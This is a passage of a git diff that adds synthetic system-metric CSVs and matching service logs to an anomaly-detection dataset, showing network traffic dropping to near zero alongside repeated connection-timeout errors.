10:01:57 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:01:57 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:02:06 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:02:16 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:02:17 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:02:29 web-app[2255]: GET /api/v1/inventory status=200 OK +Jul 10 10:02:30 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:02:34 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:02:35 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:02:38 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:02:40 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:02:50 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:02:52 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:02:53 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:02:56 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:03:02 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:03:07 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:03:11 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:03:17 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:03:35 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:03:40 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:03:47 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:04:13 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:04:13 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:04:20 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:04:25 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:04:26 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:04:30 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:04:32 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:04:32 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:04:53 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:04:57 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:05:11 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:05:16 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:05:17 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:05:25 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:05:38 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:05:53 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:05:56 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:05:56 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:05:58 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:06:08 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:06:16 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:06:33 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:06:48 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:06:50 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:06:59 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:07:05 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:07:06 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out +Jul 10 10:07:17 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:07:19 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:07:21 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:07:27 kubelet[1987]: INFO Liveness probe succeeded for pod web-app-pod +Jul 10 10:07:28 api-gateway[4311]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection failure, transport failure reason: connection timed out diff --git a/anom_dataset/scenario_10/anom_10_16.csv b/anom_dataset/scenario_10/anom_10_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..5ba2415591baa91d2d869bd763ec72a615fe36a7 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,15.22,39.58,26.3,1.34,1.18 +2025-07-10T10:00:05Z,12.95,39.17,32.05,1.46,1.33 +2025-07-10T10:00:10Z,14.87,40.73,33.64,0.96,0.97 +2025-07-10T10:00:15Z,13.26,39.8,32.94,1.42,1.17 +2025-07-10T10:00:20Z,16.88,41.2,27.84,1.21,0.85 +2025-07-10T10:00:25Z,16.52,40.9,31.99,1.47,1.09 +2025-07-10T10:00:30Z,17.14,39.49,34.36,1.39,0.96 +2025-07-10T10:00:35Z,12.71,39.67,25.52,1.22,0.98 +2025-07-10T10:00:40Z,16.72,38.42,30.41,1.26,1.04 +2025-07-10T10:00:45Z,15.99,38.5,32.55,1.44,1.26 +2025-07-10T10:00:50Z,17.83,39.23,32.48,0.9,0.83 +2025-07-10T10:00:55Z,16.97,40.09,34.83,0.98,1.37 +2025-07-10T10:01:00Z,17.22,39.43,30.39,1.48,1.3 +2025-07-10T10:01:05Z,12.13,38.11,33.62,1.03,1.18 +2025-07-10T10:01:10Z,12.58,38.79,25.35,1.17,1.36 +2025-07-10T10:01:15Z,13.8,42.35,27.44,0.93,0.81 +2025-07-10T10:01:20Z,12.5,41.69,34.95,1.41,1.26 +2025-07-10T10:01:25Z,13.43,40.73,32.99,1.05,0.91 +2025-07-10T10:01:30Z,13.93,39.61,32.92,1.18,0.89 +2025-07-10T10:01:35Z,15.64,41.12,34.41,1.13,1.29 +2025-07-10T10:01:40Z,14.53,38.19,27.63,1.59,1.09 +2025-07-10T10:01:45Z,13.61,41.62,32.3,0.95,1.35 +2025-07-10T10:01:50Z,17.49,41.77,29.21,0.97,1.1 +2025-07-10T10:01:55Z,12.32,42.05,27.7,0.92,1.1 +2025-07-10T10:02:00Z,15.27,40.36,30.79,1.31,1.0 +2025-07-10T10:02:05Z,16.03,38.16,29.47,1.32,0.98 +2025-07-10T10:02:10Z,12.19,38.82,28.34,1.41,1.2 +2025-07-10T10:02:15Z,12.67,39.51,27.49,1.25,0.82 +2025-07-10T10:02:20Z,15.38,42.44,30.56,1.43,1.28 +2025-07-10T10:02:25Z,17.2,41.01,30.44,1.59,1.17 +2025-07-10T10:02:30Z,13.86,41.27,27.06,1.47,1.33 +2025-07-10T10:02:35Z,17.92,38.32,29.75,1.54,1.07 +2025-07-10T10:02:40Z,15.73,42.32,31.37,1.31,1.19 +2025-07-10T10:02:45Z,14.92,39.24,30.18,1.01,0.84 +2025-07-10T10:02:50Z,17.59,40.24,30.69,1.09,1.2 +2025-07-10T10:02:55Z,15.63,38.91,25.28,1.09,0.93 +2025-07-10T10:03:00Z,16.5,42.63,29.79,1.07,1.01 +2025-07-10T10:03:05Z,15.26,41.55,31.79,1.09,0.94 +2025-07-10T10:03:10Z,13.21,40.13,30.92,1.57,1.17 +2025-07-10T10:03:15Z,17.24,40.68,28.27,1.41,1.02 +2025-07-10T10:03:20Z,15.29,42.12,33.18,1.34,1.38 +2025-07-10T10:03:25Z,13.86,38.07,31.43,1.29,1.1 +2025-07-10T10:03:30Z,17.54,41.36,34.12,1.14,1.15 +2025-07-10T10:03:35Z,12.81,41.18,25.73,1.22,1.39 +2025-07-10T10:03:40Z,17.67,42.17,32.16,1.56,1.26 +2025-07-10T10:03:45Z,16.77,39.83,33.39,0.04,0.01 +2025-07-10T10:03:50Z,17.78,38.54,32.13,0.01,0.01 +2025-07-10T10:03:55Z,15.6,40.71,32.71,0.05,0.01 +2025-07-10T10:04:00Z,13.61,41.45,25.56,0.02,0.04 +2025-07-10T10:04:05Z,16.01,38.18,29.02,0.04,0.03 +2025-07-10T10:04:10Z,14.98,41.5,27.07,0.04,0.01 +2025-07-10T10:04:15Z,15.15,40.91,34.63,0.03,0.03 +2025-07-10T10:04:20Z,13.57,42.51,31.59,0.01,0.01 +2025-07-10T10:04:25Z,13.6,40.8,26.25,0.01,0.02 +2025-07-10T10:04:30Z,14.17,40.79,34.19,0.05,0.02 +2025-07-10T10:04:35Z,12.71,40.45,29.6,0.02,0.02 +2025-07-10T10:04:40Z,12.6,41.11,30.86,0.03,0.02 +2025-07-10T10:04:45Z,15.76,41.6,28.54,0.04,0.02 +2025-07-10T10:04:50Z,17.76,39.33,30.0,0.02,0.03 +2025-07-10T10:04:55Z,17.44,38.04,27.85,0.04,0.02 +2025-07-10T10:05:00Z,14.49,41.82,27.97,0.04,0.02 +2025-07-10T10:05:05Z,17.23,38.48,26.43,0.01,0.01 +2025-07-10T10:05:10Z,12.05,38.61,31.82,0.0,0.03 +2025-07-10T10:05:15Z,15.44,40.41,25.37,0.03,0.02 +2025-07-10T10:05:20Z,13.63,38.47,31.63,0.03,0.03 +2025-07-10T10:05:25Z,16.6,39.05,32.55,0.02,0.0 +2025-07-10T10:05:30Z,16.32,40.55,31.98,0.04,0.05 +2025-07-10T10:05:35Z,16.72,40.0,25.18,0.04,0.01 +2025-07-10T10:05:40Z,13.74,41.73,31.08,0.01,0.01 +2025-07-10T10:05:45Z,13.77,42.12,32.15,0.03,0.04 +2025-07-10T10:05:50Z,15.27,39.75,32.86,0.05,0.03 +2025-07-10T10:05:55Z,17.65,42.58,27.5,0.03,0.03 +2025-07-10T10:06:00Z,17.84,39.96,30.48,0.01,0.02 +2025-07-10T10:06:05Z,14.69,40.26,30.65,0.02,0.05 +2025-07-10T10:06:10Z,13.06,42.66,25.21,0.03,0.04 +2025-07-10T10:06:15Z,13.44,39.5,31.63,0.01,0.03 +2025-07-10T10:06:20Z,14.78,39.05,30.79,0.02,0.03 +2025-07-10T10:06:25Z,16.61,42.55,29.44,0.01,0.04 +2025-07-10T10:06:30Z,16.77,40.4,33.61,0.01,0.04 +2025-07-10T10:06:35Z,16.5,42.62,28.91,0.05,0.03 +2025-07-10T10:06:40Z,16.46,38.86,26.37,0.03,0.04 +2025-07-10T10:06:45Z,14.09,42.6,31.4,0.04,0.05 +2025-07-10T10:06:50Z,14.84,39.19,30.14,0.0,0.05 +2025-07-10T10:06:55Z,16.17,42.15,34.75,0.0,0.03 +2025-07-10T10:07:00Z,16.92,42.49,28.67,0.02,0.01 +2025-07-10T10:07:05Z,15.39,39.84,26.56,0.04,0.0 +2025-07-10T10:07:10Z,13.95,41.19,25.58,0.05,0.02 +2025-07-10T10:07:15Z,17.57,42.92,30.25,0.02,0.02 +2025-07-10T10:07:20Z,14.33,40.88,30.73,0.0,0.04 +2025-07-10T10:07:25Z,13.62,38.12,34.55,0.04,0.03 diff --git a/anom_dataset/scenario_10/anom_10_16.log b/anom_dataset/scenario_10/anom_10_16.log new file mode 100644 index 0000000000000000000000000000000000000000..fa4e94f32bb2c03a45fe0633e08ba8f90c860e7e --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_16.log @@ -0,0 +1,78 @@ +Jul 10 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:02 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:00:08 web-app[1765]: GET /api/v1/serviceA/user/13 status=200 OK +Jul 10 10:00:12 web-app[1765]: GET /api/v1/serviceA/user/26 status=200 OK +Jul 10 10:00:38 web-app[1765]: GET /api/v1/serviceA/user/31 status=200 OK +Jul 10 10:00:42 web-app[1765]: GET /api/v1/serviceA/user/15 status=200 OK +Jul 10 10:00:50 CRON[5029]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:00:58 web-app[1765]: GET /api/v1/serviceA/user/19 status=200 OK +Jul 10 10:01:06 web-app[1765]: GET /api/v1/serviceA/user/36 status=200 OK +Jul 10 10:01:12 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:01:13 web-app[1765]: GET /api/v1/serviceA/user/27 status=200 OK +Jul 10 10:01:18 web-app[1765]: GET /api/v1/serviceA/user/25 status=200 OK +Jul 10 10:01:22 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:01:22 web-app[1765]: GET /api/v1/serviceA/user/35 status=200 OK +Jul 10 10:01:28 web-app[1765]: GET /api/v1/serviceA/user/35 status=200 OK +Jul 10 10:01:43 web-app[1765]: GET /api/v1/serviceA/user/12 status=200 OK +Jul 10 10:01:48 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:01:53 web-app[1765]: GET /api/v1/serviceA/user/20 status=200 OK +Jul 10 10:02:08 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:02:17 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:02:27 web-app[1765]: GET /api/v1/serviceA/user/29 status=200 OK +Jul 10 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 10 10:02:32 web-app[1765]: GET /api/v1/serviceA/user/37 status=200 OK +Jul 10 10:02:41 web-app[1765]: GET /api/v1/serviceA/user/41 status=200 OK +Jul 10 10:02:46 web-app[1765]: GET /api/v1/serviceA/user/41 status=200 OK +Jul 10 10:02:52 web-app[1765]: GET /api/v1/serviceA/user/33 status=200 OK +Jul 10 10:02:56 web-app[1765]: GET /api/v1/serviceA/user/31 status=200 OK +Jul 10 10:03:02 web-app[1765]: GET /api/v1/serviceA/user/47 status=200 OK +Jul 10 10:03:07 web-app[1765]: GET /api/v1/serviceA/user/26 status=200 OK +Jul 10 10:03:11 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:03:12 web-app[1765]: GET /api/v1/serviceA/user/36 status=200 OK +Jul 10 10:03:17 web-app[1765]: GET /api/v1/serviceA/user/13 status=200 OK +Jul 10 10:03:21 web-app[1765]: GET /api/v1/serviceA/user/34 status=200 OK +Jul 10 10:03:27 web-app[1765]: GET /api/v1/serviceA/user/19 status=200 OK +Jul 10 10:03:33 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:03:33 web-app[1765]: GET /api/v1/serviceA/user/45 status=200 OK +Jul 10 10:03:38 web-app[1765]: GET /api/v1/serviceA/user/41 status=200 OK +Jul 10 10:03:41 web-app[1765]: GET /api/v1/serviceA/user/46 status=200 OK +Jul 10 10:03:51 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:03:53 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:03:56 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:03 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:07 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:12 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:17 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:27 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:33 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:35 CRON[5038]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:04:36 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:42 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:04:46 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 10 10:05:07 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:16 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:23 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:28 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:31 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:36 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:05:37 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:41 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:47 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:53 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:05:57 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:03 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:06 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:17 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:28 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:28 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:06:31 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:37 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:06:41 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:47 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:06:48 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:06:56 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:07:03 web-app[1765]: GET /api/v1/healthz status=200 OK +Jul 10 10:07:07 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:07:12 db-connector[3511]: ERROR Connection to db.internal:5432 timed out +Jul 10 10:07:21 web-app[1765]: GET /api/v1/healthz status=200 OK diff --git a/anom_dataset/scenario_10/anom_10_17.csv b/anom_dataset/scenario_10/anom_10_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..01b0b72f79cf32301e5e25ec7f9f0ac36429840c --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,13.71,41.07,36.52,1.07,1.14 +2025-07-10T10:00:05Z,14.33,40.6,29.0,0.97,1.12 +2025-07-10T10:00:10Z,13.63,42.07,31.73,1.49,0.81 +2025-07-10T10:00:15Z,15.95,40.03,26.61,0.98,1.38 +2025-07-10T10:00:20Z,15.3,37.17,28.46,1.36,0.89 +2025-07-10T10:00:25Z,14.56,37.9,31.9,1.35,0.74 +2025-07-10T10:00:30Z,10.51,40.73,25.93,1.45,1.03 +2025-07-10T10:00:35Z,14.01,33.11,26.75,0.94,0.96 +2025-07-10T10:00:40Z,15.57,40.9,25.51,1.28,0.7 +2025-07-10T10:00:45Z,13.15,42.79,21.11,1.22,1.23 +2025-07-10T10:00:50Z,15.53,35.92,17.61,1.31,1.04 +2025-07-10T10:00:55Z,18.76,40.22,31.95,0.68,1.1 +2025-07-10T10:01:00Z,17.19,45.91,32.34,0.93,0.85 +2025-07-10T10:01:05Z,17.75,35.97,30.66,1.11,0.79 +2025-07-10T10:01:10Z,19.56,45.27,32.31,1.68,0.93 +2025-07-10T10:01:15Z,16.19,41.55,32.44,1.03,1.26 +2025-07-10T10:01:20Z,18.71,37.89,32.84,1.32,0.99 +2025-07-10T10:01:25Z,15.8,47.91,36.66,1.39,0.83 +2025-07-10T10:01:30Z,14.25,37.93,26.19,1.23,0.88 +2025-07-10T10:01:35Z,16.99,39.09,28.48,1.61,1.03 +2025-07-10T10:01:40Z,16.82,34.72,24.95,1.58,1.18 +2025-07-10T10:01:45Z,14.92,38.34,28.1,1.29,0.76 +2025-07-10T10:01:50Z,15.47,39.33,27.85,1.06,1.18 +2025-07-10T10:01:55Z,12.92,38.2,31.39,1.39,0.84 +2025-07-10T10:02:00Z,12.6,40.78,25.62,1.09,1.24 +2025-07-10T10:02:05Z,15.81,42.75,35.25,1.32,1.45 +2025-07-10T10:02:10Z,13.68,40.77,33.2,1.0,1.0 +2025-07-10T10:02:15Z,15.37,44.44,33.53,1.2,0.92 +2025-07-10T10:02:20Z,17.02,43.11,32.94,1.49,0.78 +2025-07-10T10:02:25Z,16.22,39.81,39.93,1.26,0.8 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+2025-07-10T10:04:10Z,15.76,42.3,26.7,0.01,0.02 +2025-07-10T10:04:15Z,13.25,44.2,22.45,0.03,0.04 +2025-07-10T10:04:20Z,12.42,43.96,30.24,0.02,0.01 +2025-07-10T10:04:25Z,17.62,36.33,28.96,0.03,0.01 +2025-07-10T10:04:30Z,15.39,35.25,25.44,0.02,0.04 +2025-07-10T10:04:35Z,13.71,45.34,32.46,0.05,0.05 +2025-07-10T10:04:40Z,17.23,38.41,26.8,0.01,0.0 +2025-07-10T10:04:45Z,14.62,41.02,28.51,0.01,0.03 +2025-07-10T10:04:50Z,17.48,39.53,23.55,0.04,0.04 +2025-07-10T10:04:55Z,15.7,37.67,30.33,0.03,0.0 +2025-07-10T10:05:00Z,14.42,41.69,35.66,0.01,0.04 +2025-07-10T10:05:05Z,15.19,38.02,32.46,0.03,0.04 +2025-07-10T10:05:10Z,11.21,40.68,37.43,0.04,0.04 +2025-07-10T10:05:15Z,12.74,41.49,28.45,0.02,0.04 +2025-07-10T10:05:20Z,14.33,44.72,31.83,0.04,0.04 +2025-07-10T10:05:25Z,12.73,40.36,22.84,0.03,0.01 +2025-07-10T10:05:30Z,14.06,36.23,24.43,0.02,0.03 +2025-07-10T10:05:35Z,13.87,39.91,24.17,0.04,0.04 +2025-07-10T10:05:40Z,15.4,37.21,27.58,0.01,0.01 +2025-07-10T10:05:45Z,13.65,31.41,31.87,0.04,0.01 +2025-07-10T10:05:50Z,13.59,45.01,38.15,0.02,0.04 +2025-07-10T10:05:55Z,14.78,40.67,30.4,0.04,0.04 +2025-07-10T10:06:00Z,16.06,34.65,36.8,0.03,0.02 +2025-07-10T10:06:05Z,16.72,37.9,33.64,0.01,0.01 +2025-07-10T10:06:10Z,17.66,40.11,24.78,0.02,0.03 +2025-07-10T10:06:15Z,14.55,45.87,31.9,0.02,0.03 +2025-07-10T10:06:20Z,15.62,40.26,34.63,0.02,0.04 +2025-07-10T10:06:25Z,16.33,36.63,27.02,0.0,0.04 +2025-07-10T10:06:30Z,14.22,38.73,27.46,0.04,0.01 +2025-07-10T10:06:35Z,16.7,38.88,33.78,0.01,0.04 +2025-07-10T10:06:40Z,13.69,36.43,37.67,0.01,0.0 +2025-07-10T10:06:45Z,14.15,39.6,22.64,0.02,0.01 +2025-07-10T10:06:50Z,14.51,38.82,27.71,0.02,0.02 +2025-07-10T10:06:55Z,15.36,34.09,33.9,0.05,0.03 +2025-07-10T10:07:00Z,13.48,39.83,29.67,0.02,0.01 +2025-07-10T10:07:05Z,16.36,33.74,26.05,0.01,0.03 +2025-07-10T10:07:10Z,19.53,37.52,33.31,0.05,0.04 +2025-07-10T10:07:15Z,18.17,37.91,23.44,0.04,0.01 +2025-07-10T10:07:20Z,13.97,41.66,37.91,0.01,0.03 +2025-07-10T10:07:25Z,13.3,41.55,32.93,0.01,0.02 diff --git a/anom_dataset/scenario_10/anom_10_17.log b/anom_dataset/scenario_10/anom_10_17.log new file mode 100644 index 0000000000000000000000000000000000000000..830b488eee203e3fbcce678e9a7ff1f54cef43b8 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_17.log @@ -0,0 +1,38 @@ +Jul 10 10:00:00 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:20 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:40 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:01:00 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 10 10:01:15 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:01:20 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:01:40 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:01:45 systemd[1]: Starting daily clean up activities... +Jul 10 10:02:00 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:02:05 web-app[2233]: GET /api/v1/user/search status=200 OK +Jul 10 10:02:20 web-app[2233]: GET /api/v1/health status=200 OK +Jul 10 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 10 10:02:30 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:02:35 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:02:55 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:03:05 systemd[1]: Started session 123 of user root. +Jul 10 10:03:20 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:03:25 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:03:45 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:04:05 systemd[1]: Started session 123 of user root. +Jul 10 10:04:10 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:04:15 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:04:35 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:05:00 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:05:05 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:05:05 systemd[1]: Started session 123 of user root. +Jul 10 10:05:25 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:05:50 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:05:55 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:06:05 systemd[1]: Started session 123 of user root. +Jul 10 10:06:15 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:06:40 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:06:45 kubelet[1234]: INFO Liveness probe succeeded for pod api-gateway +Jul 10 10:07:05 payment-processor[4556]: ERROR Failed to connect to external gateway: Connection timed out +Jul 10 10:07:05 systemd[1]: Started session 123 of user root. diff --git a/anom_dataset/scenario_10/anom_10_18.csv b/anom_dataset/scenario_10/anom_10_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..3213ab600d50b34a2054584513b0a08ddeb1e05e --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,17.66,43.32,22.9,1.26,0.94 +2025-07-10T10:00:05Z,16.43,40.73,26.61,1.2,0.91 +2025-07-10T10:00:10Z,11.91,39.81,32.67,1.15,1.06 +2025-07-10T10:00:15Z,14.98,37.74,33.72,0.86,0.8 +2025-07-10T10:00:20Z,16.24,42.14,41.13,0.95,0.65 +2025-07-10T10:00:25Z,13.56,42.75,30.59,1.26,0.86 +2025-07-10T10:00:30Z,15.53,38.55,31.22,1.5,0.94 +2025-07-10T10:00:35Z,15.22,40.27,29.11,0.91,0.85 +2025-07-10T10:00:40Z,15.01,42.48,27.97,1.57,0.91 +2025-07-10T10:00:45Z,14.65,34.14,33.91,1.25,1.34 +2025-07-10T10:00:50Z,15.87,40.35,31.77,0.82,1.08 +2025-07-10T10:00:55Z,17.41,34.28,28.96,1.3,0.62 +2025-07-10T10:01:00Z,13.07,37.23,24.6,1.47,1.03 +2025-07-10T10:01:05Z,17.06,41.41,29.38,1.28,0.46 +2025-07-10T10:01:10Z,15.46,39.57,28.05,1.9,1.02 +2025-07-10T10:01:15Z,15.89,38.8,36.28,1.29,1.0 +2025-07-10T10:01:20Z,12.73,39.11,34.74,1.47,0.91 +2025-07-10T10:01:25Z,15.27,42.54,24.89,1.2,0.71 +2025-07-10T10:01:30Z,17.97,42.12,35.84,1.49,0.7 +2025-07-10T10:01:35Z,12.84,37.64,27.14,0.48,0.98 